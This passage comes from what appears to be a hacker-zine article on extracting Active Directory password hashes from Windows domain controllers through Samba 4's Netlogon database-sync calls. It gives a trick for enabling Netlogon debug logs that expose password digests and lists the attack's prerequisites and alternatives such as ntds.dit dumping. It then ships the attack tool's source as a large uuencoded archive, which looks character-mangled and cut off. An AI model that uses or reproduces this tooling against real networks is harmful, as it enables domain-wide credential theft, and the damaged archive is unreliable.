There exists a workaround (Hi D.) to keep using a weak DES session key with a Windows 2008 server. Google() the key words "NT4Emulator" and "AllowNT4Crypto" for more details (also have a look at the GPO). </Note>

Unfortunately this was not sufficient as NetrDatabaseSync() was now returning a STATUS_NOT_SUPPORTED. Digging in "[MS‑NRPC]: Netlogon Remote Protocol Specification" I found the following explanation (rev 24):

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ MS official documentation ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑If a server does not support a specific Netlogon RPC method, it MUST return ERROR_NOT_SUPPORTED or STATUS_NOT SUPPORTED, based on the return type

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The revision is important because in revision 22 NetrDatabaseSync() is documented whereas it's not anymore in revision 24. It mysteriously disappeared... If we consider the previous quote, it seems fair to assume that at some point the function was declared deprecated. Unfortunately the reason is probably mentioned in revision 23 which seems currently unavailable. Who knows, we might some day have the appropriate explanation. However "deprecated" doesn't mean "gone" so it *might* be interesting to reverse engineer the function ;]

Btw a little trick to help you:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ screendump ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

C:\Users\Administrator>nltest /dbflag:ffffffff SYSTEM\CurrentControlSet\Services\Netlogon\Parameters set to 0xffffffff Flags: 0

Connection Status = 0 0x0 NERR_Success

The command completed successfully

C:\Users\Administrator>type %WINDIR%\debug\netlogon.log

[...]

04/04 22:23:34 [ENCRYPT] NetrLogonComputeServerDigest: 1105: DC10$: Message : dbcbaafc aba49ab9 f6bcabb5 62380816 ..............8b

04/04 22:23:34 [ENCRYPT] NetrLogonComputeServerDigest: 1105: New Password: b6b852a3 5ec54dc9 9ea3917e c51d19fa .R...M.^~.......

04/04 22:23:34 [ENCRYPT] NetrLogonComputeServerDigest: 1105: New Digest: d4 67786d a92bd731 7da18262 3d1cdb4f mxg.1.+.b..}O..=

04/04 22:23:34 [ENCRYPT] NetrLogonComputeServerDigest: 1105: Old Password: b6b852a3 5ec54dc9 9ea3917e c51d19fa .R...M.^~.......

04/04 22:23:34 [ENCRYPT] NetrLogonComputeServerDigest: 1105: Old Digest: d4 67786d a92bd731 7da18262 3d1cdb4f mxg.1.+.b..}O..=

[...]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 8 ‑ Additional details

a) Are there other alternatives to dump the AD's passwords?

Well apart from pwdump‑like techniques, there is at least one more: ntds.dit [11] file dumping. In a nutshell, this file is a Jet Blue database holding (amongst other things) information about the users. When an LDAP query is issued, this database is interrogated. Because it's very sensitive (passwords are stored inside), it's both encrypted and system locked thus it's not trivial to dump its content. I wasn't aware until recently of any tool able to deal with it. It seems that things have changed because I've heard some rumors. There should be at least two other alternatives, but I won't say more. Be smart and find them yourself :]

b) What about real‑life filtering & the requirement of 2 DCs??

The first requirement for the attack is the ability to execute arbitrary commands on one of the DCs. One is enough as by design all of them are communicating with one another without any restrictions (=filtering).

The second requirement is the existence of at least 2 DCs. Apart from tiny corporations, there will always be at least 2 DCs (for business continuity in case of a disaster or maintenance operation) so it's no big deal either.

c) What about Samba 4 .VS. Windows 2008?

Well, have a look at samba‑4.0.0alpha18.tgz :]

‑‑‑[ 9 ‑ Last words

The original title of the paper was something like: "The art of the laziness: exploiting the Samba 4 project"

What I wanted to highlight is that sometimes with only a few ideas and minimal efforts you can come up with new tools & techniques. Read the S4 source code, test it, improve it and use it wisely. As they all say:

Happy Hacking! :‑]

High 5 to my fellows

‑‑‑[ 10 ‑ Bibliography

[01] http://en.wikipedia.org/wiki/Pwdump

[02] http://en.wikipedia.org/wiki/Active_Directory

[03] http://wiki.samba.org/index.php/Samba4

[04] http://securite.intrinsec.com/2010/09/07/

rd‑outil‑dextraction‑de‑mots‑de‑passe‑ad/

[05] http://msdn.microsoft.com/en‑us/library/cc237290%28v=prot.13%29.aspx

[06] http://en.wikipedia.org/wiki/Primary_Domain_Controller

[07] http://www.microsoft.com/download/en/details.aspx?id=16770

[08] http://msdn.microsoft.com/en‑us/library/cc237225%28v=prot.13%29.aspx

[09] http://msdn.microsoft.com/en‑us/library/cc237082%28v=prot.13%29.aspx

[10] http://msdn.microsoft.com/en‑us/library/cc237008%28v=prot.10%29.aspx

[11] http://www.stoyanoff.info/blog/2012/02/11/ad‑data‑store‑part‑1/

[12] http://en.wikipedia.org/wiki/Flexible_single_master_operation

[13] http://technet.microsoft.com/en‑us/library/cc772217%28v=ws.10%29.aspx

[14] http://technet.microsoft.com/en‑us/library/cc776877%28WS.10%29.aspx

‑‑‑[ 11 ‑ c0de: S4

begin 755 S4.p68.zip M4$L#!`H``````‑%>A4`````````````````'````4S0N<#8X+U!+`P04``(` M"`!G;\<VDADD=!4;``"Q1P``#@```%,T+G`V."]#3U!924Y'G5Q;<]O(E7X> MUO(_=.G%4A7‑&7LVEQFEIHJ2*(N)3"DD94=O"Y)‑$3$(<‑&`‑/SW^YU+‑QJ\ M.‑FX,K%%`J=/GSZ7[UQ:/_Q@\.?3^,E\&HZ'D\&]>7RZNA]=&_PW'$^'W<X/ M_`3^?+&E2XO<?.R9O]:Y‑1]^^>5#M]/MF.MBNRO3EW5ESJ\O\/&??^GQE^:V MM‑9,BU7UEI36W!9UODPJD.B94;[HX\WC?_[PBYG9S3:SYC%+%K9GIG5:6?/S MSS_US%7A*B+P>6#,3Q\_?/CP_L///_W)F*?I`/2&K[;<%>`M=69KRTU:579I

MJL(LP*))\J59IJXJTWD‑>GAV#G8V]&5J'5XO5J9:X]4L7=C<6;,L%O7&YE7/ MX`6S6"?Y2YJ_F+0B^GE1F23+BC>[[),8?A!!/98VV<PSRY(QL[7UU)Q9%:79 M@'_CO$CHOZ5UZ4LN;%;)‑WSXENS,KJC+;F<%`2Z+#7WEUOP"ML!\8(M5WYBK M';C/JS)Q8++"8GR2‑K=EDIG'>HZUNYU[W0Z83O/*YDM9[*5.R@0_6U[,?&\M

M^J[;\6R_?X]G‑L2JJ_$<+1MVA#7H8=XKI`,NG:D=‑*=/PD@AY39WQC.7;+<9 M3H&69QGQ6=BV"G4[C0Z]<Y$8<]Y0DN],@9=*LRV+ES+9F+=U0:3K:EV4#I+: M0"/P9+=3.SE(<'4^+396WSNEL*W]+0IH#D0XWW4[7N3WZ;Q,RITYL;DT=Y5MEOT+8YZ+VBR2G/>[,\H.'X`R[7"01=$7_?FZMKEY@WRW‑OE&,F'A>FYZ]!5Q M5=J5+4O:$L2@!]DC#>UVMB5XP#8?L,)Q[MR!&L9GFU2D'MW..GF5HX[T)#(F ML:$##LVY:E'YPCI!$H,(H1"O6‑RD*R)NWE*WONB%Q;"=A4U?B4I=+HCV$@=4 MLMA>+(P/V_)O0H'Q<_0N/:1:VU),O`\]‑.!R(7PRE=SD]DU8]N*_%'7R]+[E MQ5L@O"R(J"/2$+;30YH5]')E%Y58$OM"QX>3VTBBI25Q+4BAG"P`B<S39;<# MS26O12*U.1N_KB.DB'G2;_=‑OBKH<$HRY)(W*4^!FYF\U%H'‑NZRI&+J"UM6 M"3:‑)[;X,IVG65JEZIJ(M(BUVSEZLK$\>\23'L*F6*8KTF65QRV^LK\GY,%[ M_IFC!%V]6)O$2QX"6ULRPVX'/U8I;YO]B%E94.*E:KB&EU15$7J2@E8."9&O M:43!TF6S,J2W?3$[?GE/M_'.C@VN%[0NTC1\2VXO:"$(#:`<@1.WAG+@H8U7 M"\0<\DM,5E0'_TJQHW!$;‑7VF,+`#*JUJ=YPNI7=NE_‑^8<+#EP26]O2AXYV M.^<?+R!&F+YJ3!2ZWM8I9$N2<OQE9E]@^!P3'4=Q#8J]UEF#ZH\<I/A`XQ65 M\T'F("DZ%)O0V;%GA2O6[1!ALAYL2O2?[=/KOVH?^0!(WOI879,>NPKON7`F MXFGS`@1*"E([7I‑WV(Y%.)'1ZB`$\092]M'X?&‑I&9LYB13;Q#E\12CB#934 MA;A8F\"Q'A[8>?‑ZPKKD0S\M6>!DTCS)>EA$=T4Q",(``‑APM"V+9;T01CC$ MT"E#58D"G'9&*D"'$1&#‑Y!X]0Y/;.N*`Y#7G%MZ(MOU>)W8;1%;U1K8`_$= MRP$4D$0KA!@6@8^?6_J^HF`,'22WRW[EM4B7S,.2_&8IVT:(\XI!P1/FFJCL M0W2EG:3Y,GU‑ES6Q98HYNQ=9)0`?.('<6.CI@LV/P]0ZHH._$:5LA0#:5V\* MY2#%P7FS&K'@‑\F24(]99#91'B$%OR<QR'F`6TO14E6R=PI+*`3@8Q)_>"YA M'‑=O`‑N6‑"%8,P>P`KL4?TI4R7"PBU[CU53QNQW1O(6@AE5!^!"4_\O#Z.\! M;7P]&TX^3\U@?&.N'\8WH]GH83PUMP\3_/CX/!I_ZIF;T70V&5T]T5?\X.>' MF]'MZ'I`'\@6?NHSTCJ&K%0[6>K8AX">MZ+\IOZ"L"0.$"@M(1E1B‑X2!&?] M)05IW‑&ZR"C\N&2GD'@#U`KQ‑]X$TJA#B!)9>H!]'(CT1?QGC\+A&6"WA?S@ MHAC?A!UPV(BV01M@CP@‑/>/=S!.Q<%[:D\/A6,1"8U/>=O05$2'"8#9]Q=%! MV9B,L‑_L.4O>?E4[3YD;[!X+R\,J.]7N%FFS+4I6"(8=V(^R$#(0V@0Y_UA[ MG/?&(8(OR:&0"`J)DAFLM4Y>2&[G=W"9\`TKR+D7WJ`E&?0OLII`/ZU1U*3Z MP,'Z=2X@EL['G,7KGQ%:'9*75TMAUY<LEP`/;#;.G"&RG+'A#.#[7P5*%"I= MPF&G[*2U48:?C%4;9"UJHGIQ*=Z745Q=N93=`,(LR'N=2<B/KJ`H=7YP`NJP M/2JRRYXB/"8'#PO74&SB5P`,&YA?Y(335[PDG3$'"/:O:<4QTQRH7+?CUSZ' M>[1;0FHYIS1P9,3>W`+6LS_#5H_P?`&A?A4P9(*ZE36A="+F:!T?EL(^EX7U M8>)#7P!/LOMW,E^/[930.]?"/'30,2@GM)WF;"\;A(@:N`VVB!!@EU&Z0`+: MIHNZJ%TFZ\,‑L9^'(N.3+5D^P@\VPDA"V8R?(B+>\M09Z3X669)N(!KP[?'! MI?EF[98,A%1!T6"W(^\Y']$(*E&:W7*/DCR2`)*YLSF6H5B'[07:!‑"7`CN;

M'#.""VWY02‑X‑][9Z4(@DA4X9D%YS>‑\9.&T)%‑BQ*N0!RYXO7.PE4RU7,S; M)WRRF`+"G9))%%@66W4[M/$`I2*P1H'Y=Y_D>ZBM2O2Q42(%A$Q3]E8>UQWO M2=7A=3OB\?!(S:%S(RR?=‑(]#;>BLRULREZ_[2#5]YLC86:J&_P`L<]AR4>4 M%%H"I+ZQ5O1%‑N)L%.Q_%4$8DUPT"<0BJ9VD'P%EKM),XNL"(F;Y8I]D\:I^ M0L21RV4[]ZDJRUT\D9#P?FE)^9IJH3S5]ZS,#UAA524Q!,*1U"`B‑37‑D<GA M$YTW!'#^FO%:6878SY\YB86TMSW?J"<L1/A%ANO%BK*H%OZ"WTATF81$X96; M0AC;9UHN&S*D2Z?@@L<'7@:+"P_ZPQ%X.)!#QQB*`@HOI>3#B045OLJ$HA2\ MCY<`G#"<;Y19BD!)8?E+G%A)8==[:+(04D‑Y/R+)N#+‑E26J7I5+1..2?`BG ME^`OI0A0TMD`4I%ZJVKE>5'#Z5"=42,UVTC+%9JCGC`1"OK)Z=3IG(`PLI^> M1VM!4=0FE)/PQD53`N':'?N`*!\0]?<BYU,3$OL&I)'69ID/<$3/<‑9<F‑?4 MONTY2R'3X,'SX>\+RT[L5XK!K;!>.9NM?%'3'P2X$QH4#3GN!XV0(Y":0]Z2 M>T\\6\LKA0T=XHC_K=‑2RCI"<H]:_X(!OZ_%\‑,;*5)PS4^#35!=7K8Q%LYH M@4`(,N"!!*FD<5:K.2PFRDGY'<%‑)TVU)W&+BAESXB1Q10YR7#(F%%4RHFSP M"3WL+(R1‑(Y6<!X>;B#J5TKD*C*+V";EA`D;L<GVJ$3&E?%FJP7%OK`#‑JP] M)\45E,3M+4[E[;H*+[2"`2?\R2:2#%YG;\1YJG@=R6E2UPHX"$E[$8<=;@Q0 M‑:0)$9]6ZEO>,6DA,TA!*LU‑?44214$*'C\C]?B=RN^J`4@#<,*E+N1!:<V! M1*HK^(`36‑E9:5^2<HDPP6J`E\P;!7)?=YOAU5[4FR!NN=Q?!3^JPN)(11`J M*B\RLG65EJ)]%:W0Y+"D1@J@`O,K‑04\=VEP6&M..)JU.#'"UGZWI231OB@G M%2>JB&1'11XE7U0G7B!WMHN0B[FC<($W/LHI*TFEL;0A_Y>\O)"P/&5‑F&0O M))ICI+J=?6#&?I,__`Y@N:"?$_‑:9#5U$5:4.;NJ*)&6J;=O‑BEPN?%,\])[ MQ8@_]::LX)3@G`B"/W\?X>]O8W\'G(5*N/5(Z>,%1;!B_D\JT_B2.XYQ45?L M@PB]'8G0W<[4F^`'YN*C8<!U"F_!/U`U3FU,*B000PRU!@N$[2W!&FAS.!7Z M++,<"TNI7W.@W,!2`+;>4[Q/N._&6*O)7WKJ![PA1P6*[P!'C43M+?%1ZRDN M0*[8)&4*<ZA]N:FI05)($N1V"3GV(O1VN+LD&!@#]9YY3;)4"$)R&?QVQ;4] MW=O.)B4WB9J,A+$4>XE=3W&\@JV<VFE2[,ZUJ<@(2EML/K6@\&A+#]!5>K'R M]CA0RPD(B7W!1W%\_XQ:I\$H46/TOW<4IT]!‑_,?'<7BE**E.<E!O$>4^#*@ MU=C‑YZ0(8:\‑=F+?A&6X*I=D8"<7/^?QCK:1I=2PXOID3LB57"C2OH/JB2]) M<%0D`H'%&)?]:VOF+3>`‑@D*2/D]9%‑*R<A,Z[D/'7,Y!,(X#'%:/;I5XVFD MU";L<'‑2CF43@BL]Q`U!K0BW,SM(E9NSMYQMQ(Q+L2\X`UF>P@76ET5]*^B` M,WR.56I*M‑(FWT%FF‑5.<IK$N6*1^E(;#"(A,["K‑$^EH$M9FKX@'KI,M]+A M7G+8\P&.^$NU`L<`B<KQ69;$^*+9%#9Z!P5X)=$3$`1<VEH^>NOA;^]@2['Q M<)N10HJ6^KBCR#W*4#X*,#A^[YSR?ZE%*FG(:<Z92[=#QW71F,4F^2?CA`VT MF]'LN6R2F/X&E;:90!A'#OY"‑PFT!;\B>:_;N0HXCTM7Y)#;,J`D"Z*M<P8X MS'58"VA8P'ZB!LOE[+8(&0FL#E!%M`#AL<@>J$VD%3C6>K`(L2T6O+Q.C#"B M3K0WSFJQE8D4QL'^‑4,8'SZ;.=VC<*"('J,S>F5J^*+F[,!%$#?2DY;WI,8( M8>KZ91UY_52;^%I%W6R1<46#+Q&5O1I4)!!I4QCSWPVR((V2ZI(4@)!`<L%> M(&\,;VP;2HG:DB[;W[=4+^;T2_&`]_01IJ&V*E6MH!];[(#AT!NCQ^(D`Z?7 M9[]*/2U12&Y3)36%B$IC'868E`ZTU7\]PEBW$PS3RYF`‑_>C@M.52A@+Q+?^

M^9@I>`0X%U4<0P?0SU2D93,D%%AC2^+3HLR(G;1G`?DDM=GPOU6=B;/)T@3I MIX+#/\@1^OPPSEA)/;?57@KG4JIZ^FZY:)%.@[`7#C(@(,T*3[W4%ZH52&VX MW5?6:B$Y]Q,'1"6FRNWW6V1&B++FQ"=UI;0)U^D\K:0QD"5O8:9`4\W#+0DA M!)Z">N4TJ",\$>\M5+[7*CC7\N7IBOZ%5(NHZ[D(^B,<)%HZ;IUUQ8B7FN9< MS_0C4?^?UJ+P'#8@N<%CN_WE8FBO6O#'OK1OJG1C%<A\+T/X5]MN#5SLV9.: M`F7:WCJ]HX,U:V‑;OY)9%K'J=J$R&COPG,'<V4%5W%^W)YJR?KY#75:*L*%U MT55=2J^L‑1.C*5Q3P7]G0KZJ3E==`NLXQ+'F]EI?"O6‑7>D4C>`II,?X_P6= M5V.1VLN*_+1LY2"A^U/?C%82_KD^`YL‑O0B*$&5E_EDO7[A,*&`FRG"E!4[S M3"L*2‑8_M=*#]1T+J@"9<^E^;U*=C=3^.>RWMNZBQR#&JR0#:!8GJP1IT;E. MZ=#.A"_@1$8N2+K]RI$/O_#!G,848365)@AAC3V3Z4FW3XR;0PD55VGE$#M/ MORSC(#JNQ>_''81"(;RCZ2)HFDLW=0:[M=*EDI8)XLN+HM`F(#1#E%QX;08M+0Z52_W1>PH/#HZ2X;I7TA.FJ,,(AT‑423CD,.)3U)F@/AEU‑66Q0W:Q>\^3 M#I&Q1UC"+T,N47!RP<‑"16CO:5MGB8"QH/$1[A"$GY"&,O3`5F27XHTX(=&Q M55(*\.5E/(>@"&Y+=2N.@OS8W+)!P%67%‑)"A8G/^CL[\'@O:C8=E+GPS[7M"'Q+0DTC@+D8J65$J,&9:9!U+NHL@0M.RT6]<>S/Q>W‑DZQQ[C:F'\W3@@[7 M/'T/QS\5M4'V!G!U!#0WVL^/%Y9.[JA5S=O6)3NV(^4\'%&M(9Q_$C<0S\>X M9N"#V@K0VYW6Y;@4Z&<,M0XH)8BTVFD7"GB`ZN;RZ&5[^76BR1!M,>+1MQG] MN`]M_:54FGZ2M,G36X<MN4(OE'#Q‑ED">1>!`5N9'/&VL.7Z/XG‑F,]\GK:@ M`?(P.‑3MO‑#,"0Q=/)$N%#+Z‑YHJ*+D/2H.)!TQ1X=@K/_LSS69XF%)=?9%+ M9=VQ/^6QFT64\=%$HKQUJ67:>ALZSSSR]>.RR.48E@A‑2YZ/Y<DPX]:L/80< M!0*TJ@Z!7<]AXZ"431F."8,<WCEJI!0'O2Y219"S/2N*E98G^8A96HAZ"3RM]:99YARRL*]J#W‑[&,LD[KKJ2%F3LX\_]WUK;[_J\:‑.\.YYLM1%DQW<K_!# MKIQ6E>3,‑,4EM6EL8;YKNFIQOB_N.X(M!S‑/Y"XY<W,M3@[3!_'VR7(I‑0S2 M!QS\BZ7GMVMNZ;=V&<WE(.Q))Y#4KG"VV4U/YDN3JOUNZ\:#%(AR!@J;@H@T MPA!O4CM=PBXI9N;2%ULD$G\C‑XW4H(!)4UO&B;./N(3E0T5]]5(;H/‑BN3M1 MM?ZES],Z)\?L25Q^,J2TKRFWD>7H:4[[56Z@.!XKX‑'[X^/V`A0(]I)YX6]L M<4K[BXFP,;&2`@:DY/C!O]NF)<_D^]*5(U/65^0:"/$(G$H3%7AA::%KF;A_ M&8WB1<((J+16H)(ZPLF(7.G1F5$)E^J9=)8X[1H[)X?IG\CKS=R6S9!KR+"Y M0+3BO'_OX8,41'QH‑`6HT?B,_3H‑EI6>Q%FOR0(YKOOYD:90'Y5HVR`\3+7Y M'J5GJRC]*$‑K+7_0S7#A+9>XC^C%P?Z;'HK(87=,"OLMNEV8L2E\>N#?H>SV M.#]'[Y[X*:N?^AYM^E':R%H84AS,Q_`$G[CFUC"MTPYBRZ;W@+AH'?>KR>1L M.WAP4*`K`@3ZFX1<H60($:$I&CN_?W4`>PN>LM]+OJI2;"S9G./2KFU*F"[, M<.MU%`IR+'XNB,`0H?[+AAN:A'\IDDS,G6VQ?/4:*‑@!;JB6T600:*H)_)&_ MT]2Z)J2DBDT1<G^Z["03%TOX'(TPX9T7\3#9+K[C‑7XP7P>3R6`\>U9‑^‑`W M5\/KP=‑T:&9W0_,X>?@T&7PVHZD?[[TQMY/AT#S<FNN[P>33L$?/38;T1(L: M#?M&%/#8`_\\_,=L.)Z9Q^'D\V@V`[FK9S‑X?`3UP=7]T‑P/OD*HPW]<#Q]G MYNO=<‑SM/‑`"7T?@:#H;T!NCL?DZ&<U&XT],D4:*)Z‑/=S‑S]W!_,YSPW/&/ M6)Y?‑(^#R6PTG'8[X.3+Z*:]K[/!%)R?F:^CV=W#TRSP3_L;C)_‑WT;CFYX9 MCIC2\!^/D^$4(@!/$S/Z#*:'^'8TOKY_NN&AYBN0&#_,("ML#IS.'E@\_EE/ M'NQ@@6[G\W`"(8YG@ZO1_0B+TACT[6@VQB(\+#T0YJ^?[@?8Q]/D\6$ZI(H0 MB1%4(/7):/HW,\#F5+I_?QH$2A`QB'P>C*_YN/:.DW9LGA^>**)@Z_<W]``+ MB9\@80W‑S?!V>#T;?<$IXU$L‑'WZ/%2A3V<LI/M[,QY>@^/!Y‑E,AY,OHVL2 M1;<S&3X.1C@$FOF>3(C,P]C[FX]].D3HR_`+*</3^)ZV/!G^_0F;.J(21&7P M"7I'(HW.O]OY.@(#=%+[6M#C=_!%HP7/4*@'\WGP++/FSZHGQ&J81F^K![2C M4=3!U0,)X@H<C9@QL$)2H9.Z&7P>?!I.L>V@#;RXCLCWS/1Q>#VB?^![*"'. M_%Y$`Y/Z^Q.=)CY0*F:`8^7=D4KJT9%%DM:‑O;)@]7TK/6\6W]‑$5I#[ARGI M'9:9#0PSC;^OAO3X9#B&S‑BV!M?73Q/8&3U!;X"?Z1,L;S3FD^EV:,]LW*/)

MC;<N%K:Y'8SNGR8'VH:E'R!&HLE:%TXEJ‑OTHL>J8$:W6.SZ3L_0M(SXV=SA M/*Z&>&QP\V5$KD@6`AGP.5*Y/"@)%::Z.[Z/BTWR*T<N)\C5!GKH3F:Z!IS3

M2A5WQB@!'SZ3+QX#%FD4=*+/&CN7B+Y9L44(5^34#()&5_QTNE##Z0O?=*%Y M%20P4H&K78A/DAQJ[D[)!I4FN/B]INQ$X)%,\'.(HJN`[5`A43)<4:(1JE;U M‑+H;&QK7OCC9W`KTE=^J2K3?U<"H,)E<Q$U;0CJ<2+EDQ=LCKL/K&_\T#R9R M>XN^T=8.‑2?#]5FY;J/3CL`1KW:G'3.`?J>@KAF>YE$CHL5$W)IK,PP#_02" M8/^S@!K.D`?D6@XSVX+3)QX8X@E$WFLM;0Z^Z$G!'Y(*(YQ_(;$R!3_'$$GA M';`=M<>$^!QIR\H`&20R]Y2P.O"T^V]"K'T!_2\T(/$;EF`:!`X8'_WFE^;L M‑KHVU3KYRW#7LW7>`IF;NW$Z`5H='UD]=@V[F3=W+:39S!F>1E7‑=1&Y@.]7 MN6]:<4+FO#WX?7&(NONGI!"WA3616]/X4:7R]A@‑9H:#[>DX"_(ACP'(/7D< M<!FNFFB_DJO(&4\[^JE4`NA$8S^:0\;_1C"?6BMI>KA5=2(5Y"/C^\V4J+FP M?RKDQWK>3'FT!EE.D_:C&U$_M9'H)>7%T/WO`6<AL/];$7K_^:\_X(LX‑&‑% M%8=XBH6*=.*>>>A!KIT2S+8T8E<6.78E‑R.1‑\`EIIDOK[;F25J3MCWO.OTE MFH3$688!Y2S]9K5TSA.<>)"]EI/+(ZVA7=B4#0‑@GW*@\U=)#+S&__&7WIZ1 MDXV;MH$?OKY`*J+7:@=7TX=[X)3[YQAO7[)^J&J8:@=]_Q^^T_OVKA^9R;Z3 M:((3QPJ;T4(DWCV?(23T%EFH2OF<[C)></$N9J7OIVO6NRTEB]QG:X;9/8_, M1GA?M=G?26Y?I6DEHR>OWSVLN*6C39AF0>YD.ZJD[KAB0ET_;E`CU>‑Z173I MZRAS>H5+6@/L$V@&;%.`Z/L%>/C&E9*‑S6N(S6[<^_?DYSDM=W4J7>;P&Q+" MC1G=,<\5TG5M?HA,I]CAQ7/_.P+"?+6^O['EA9$+[U`:1_6`3'HLN0SK4^^; M[A(VE;_FTM%9<RW'(Y44GBRG7RO@Y`;KG<[@)S3D`3N^E*$O?HE4UM\K>2YV MQ7*76V_X%#GGN["63#(U/+#%$)I1][SUM2!C_B?2^G?4H>.!1]BGD]O.SN@X M#8WKN(M0L<‑J?R6&S%VR^&9+=8Y_D6D7NB,/A9GM8'I%_EO/?`"Z*].,?\,+ M(QSYID>_\\2E_HK;EY3FL;2(?,(KA_*‑=JZ:L@DI4WS67##A*HF_(AQ^44/H M]96QBTJH9UP6U#<G)\2_EB/4?N1>&HV^\XU5B@L2S[@/*KP`E/!`6KQD5,MW

M87B&.G%,WI>GQ%.\^7%7?_=]"0CHKPP=^5TA@.%'?UG(T1)JM_‑_4$L#!!0` M`@`(`/VB@4!$YY&;G@$``$,#```/````4S0N<#8X+V=L;V)A;"YHA9+‑;MLP M$(3O`O0."_22&*E=I[GEE`9V:\"H`UD]]%30UDHB2NT*Y*J"WKY+Q8IUZ,^M)&;G(V>X6L#6<P/9]AG6'^_7L%BE29JL%O!Y?_CTM%]^@?>0'9^RS19D:#&` MH0+.3$$,24B3Z\!+=L@/^?>7S1%"S9TKX(004$`8F!!L.<XRN2&NI4;U:5KK MT$/HVI;]Z`=E1V>Q3&!\U35(`JUG8:5;JI9IDNM@R<YQKWMHS$^]U(Q=8&DZ M‑U(_1(X5J$T`8@'C/)IBB)`3(D6I)2R@MU+#\_4VI3‑56%[>!FGRSI:DVAE% MSUZ'Y^2UGB(5MIP".>R^YIOL@M'DH$)";\_0LB514$QTA,1%)'04;!6O=*ZMA\7%X?%B^$UW]S,[Z1E.@R#T[(L_^V@37D!IK\‑SIX>94\F=_Y^58XU[<GIX MG+?^8[\[YF##6Z(%MC$)'=`>:^[G,<UDYL2_4(/>*29$]55V%S\(S>T]2N<I MC!_'V2!WP+KTO0WZMR26.BD,`3:M#*‑LZE%+_'N!(^$FRF_'H=BD"_@/U<WM MU/9O4$L#!!0``@`(``JE@4!VK/V$0@,``,\*```3````4S0N<#8X+VAM86‑? M;60U+F‑P<+55;6O;,!#^G$#^P]'!2%*O2;HF'^JF,#K*1BF#LD&A=$&QE5C$ MEH(E]V5E_WUWLA._9BU;ZP]I)3WWHGN>.PWZ<!ZK"*[.S^!P‑#R"_J#3[K3? M">F%B<_A1!M?J(/@M+(7BGEM,Q9R6=[<6X9JSL*#8*^X&?ECN]‑I#_J==A\S M2*1GA)+'$$3,F^$Y;ML\[I3P.^TOEY_.9I>?Q]U.NY5(+9:2^^`%+.Z#X0_& M@=:@#VLEI.$Q&`4^,PPP'\XB>Y\6GECD+.02T2W"X[]+$X!:U.&5&"O^Z$`U M!DM,P*41'J/,"9.'PD5SI%U&E8"^6')M>F3KL3#$@.D.Q9US6`C<\T%(:_S4 M:4/V88EF9]^OP5.2;NOF)Z4`L)J)‑?‑O)N‑;EPXQC)`2H^"FCQS"A]SP[Y^M M#5Q_N_+A7N`5R>V+;0>[TU.5]%1B7B,]]2KIF=7‑:');*"Y1+@IKJN?"AA8: M0B67I)B`29@<P?S1<`TQUQQM+*&(FY*V\6^O%!5]=#,EP2G:]N")6J*:Z(9T M^QG//+B‑*(1]E<)TWQ.DYS8C?JRQ%WB*<5+=9QGLLC@7DH5=LW)@Z[@.I%),

ML6YNXY&]X!1&D\+Q[Z(;FA(%3K&%8#,1P,1,ZH6*(RRT6F&YQ8H?%^$E4ZKS M!0G"2L$IK(5=4]?T>CO‑[P,><[@@6I%‑:<FD&Y1`Y(D0E*8%#!\^3I#Q‑<?2 M^J0!(R*N2S:J;C/VGK%ATK?Y;NSL%)MS:I!UK`SWT+)H,"B7%`<>BPUU%D;$ MA:+IG8I64J?IDA8C'J%BN]GD<&#H@!:_.(ZT=*<HCQRK:EA5QT;JCN>.=VFN M`%2‑P‑+=B%&ZRG8HV6K9*M^Q,.'ERZ%\H"NF0Q?$R>0(?_?W;:_5M)J.37$+ M/Z>6U28]I[‑K@QE[95'OD/2:QU;#Z1A&55:(JW=Q‑N)[;L/HLO,<ATN&L?<; M:?/2R5=(BVE=B[^9$9EW9TL=3BBWHJZT_INWY7E7^6]**WFB%S,5>O94+^/L MG:[/H?29Q%G44!YTM<"RZ`"2‑96C?KL=I*2/SUN0<BC]MR‑%E4DI<[)]4)_W MM*GI:))[LIS@(Y:$1A,M_Z2N@"$7_\DC5C`O"/;7'U!+`P04``(`"`!SI(%` M7I>ZEJH,``!‑*0``#@```%,T+G`V."]M9#4N8W!PQ5KY;]M&%OZY`O0_#+Q` M(<6*PSEXU4D6KA/'!M(V2%Q@L=YL,>0,;382*8B4XZ3'W[YO#I)#69.FW6W7 M"!S‑\;UYW[OFD!\]0&>;>H5>GYTB3`E&#QY‑)]/)HP?HFV?AZ=$I>HA>OSE! MSWC+T1N9;S=E^V&!+JK\:*%FH)5L&GXM'XKR6C8MXLOK&J;<K*:30=)IO?ZP M*:]O6C0[G2.<IO@A6?C$HM.‑Y*T4>MX1.EDNIQ,‑;M!&‑G)S*\61DONRS&75 M2‑36*`?YB%<";57[IFQ04Q?M>[Z1"#Y?;WBEY*TW]6TIX$‑[PUM4MM,)#$)' MU99%"=V\@1&)#GQZ*;;?6+;/‑‑OIY*2C>X#*"L@OT0ITWY0</BC!=556UZC> M@.J%W,@J5\V1AM,)C.J>8EOE"C%B!_U\V=0]"6"[XN]DSU;`8K>\+6\E>E]O MWC4]R^E$TVRV^8T=T>88T3W0:/A<J`A0Y#ONT\EODD=^[M/)I\A;I6%9I9=F MZS.YHMJ@J@8):^7\JN5*;`,>KW*YT?(EJ"`WBJX$FV_R&S`4S\HE2$%UL1,. MVM82K%+NSIE.^DD%S.+5![3FF[;,MTN^0>OM9ETW\@A=M,HE?2@=@!7+YF`Z M>0]:U‑L6R3NE:*,6*E?KI3(TR%3.TRLIL>_*RD3PY0U0`G:P"+!<;<&FF02J M+2\KP"FCPG0([A*&+5CI‑*@LZGR[ZJRB8N(1K‑OQ..I3<#KY6UGERZV`Z+Y> MUAE?'MT<N)TK$>H>FZU5TX+"C38$./X2U&_@\PIM@"+H‑DC^FY`%=*`W&*/8

